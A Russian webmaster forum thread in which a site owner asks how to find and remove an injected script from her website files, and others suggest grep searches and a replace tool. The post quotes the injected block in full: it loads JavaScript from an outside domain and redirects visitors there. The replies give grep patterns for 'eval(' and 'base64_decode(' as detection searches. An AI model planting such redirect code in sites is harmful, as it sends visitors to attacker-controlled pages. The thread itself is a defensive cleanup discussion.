Вредоносный фрейм

D
На сайте с 24.07.2013
Offline
2
1204

Собственно на сайте разместили фрем удалила вручную со всех файлов, но фрейм все ровно подгружается. Есть ли утила которая покажет все файлы с этим фреймом?

<!--560dc7--><script type="text/javascript">var gwloaded = false;</script>


<script src="http://verification.mvpitsolutions.com/lander/Password%20Page_files/gwjs.js" type="text/javascript"></script>

<script type="text/javascript">if (gwloaded==false){window.location = "http://verification.mvpitsolutions.com/lander/AdBlock%20Must%20be%20Disabled%20to%20View%20This%20Content.html";}</script>

<noscript><meta http-equiv="refresh" content="0;url=http://verification.mvpitsolutions.com/lander/JavaScript%20Required.html" /></noscript><!--/560dc7-->

Вот эта гадость.

Glueon
На сайте с 26.07.2013
Offline
172
#1

Может:

grep -Rl mvpitsolutions.com ./
из консоли?

В том числе:

grep -lR 'eval(' ./

grep -lR 'base64_decode(' ./
Есть много IP-сетей в аренду под прокси, парсинг, рассылки (optin), vpn и хостинг. Телега: @contactroot ⚒ ContactRoot команда опытных сисадминов (/ru/forum/861038), свой LIR: сдаем в аренду сети IPv4/v6 (/ru/forum/1012475).
D
На сайте с 24.07.2013
Offline
2
#2

А где найти эту консоль?

Devvver
На сайте с 02.07.2008
Offline
691
#3
Deliany:
Есть ли утила которая покажет все файлы с этим фреймом?

Скачайте replace.php из сети, хорошая софтинка не раз меня выручала

Мой блог. Все о создании сайтов,Seo и СДЛ ( https://e-moldovanu.com/ ) Мой SEO телеграм канал https://t.me/seobloggers
D
На сайте с 24.07.2013
Offline
2
#4

Devvver, нашла в сети этот файл, но их несколько видов. Не могли бы вы подсказать куда его залить и как заменить этот фрейм на пустоту?

Devvver
На сайте с 02.07.2008
Offline
691
#5

Deliany, если у вас возникают подобные вопросы - ИМХО обращайтесь к специалистам.

Перед любыми действиями - делайте бекап. И потом не говорите, что я не предупреждал.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий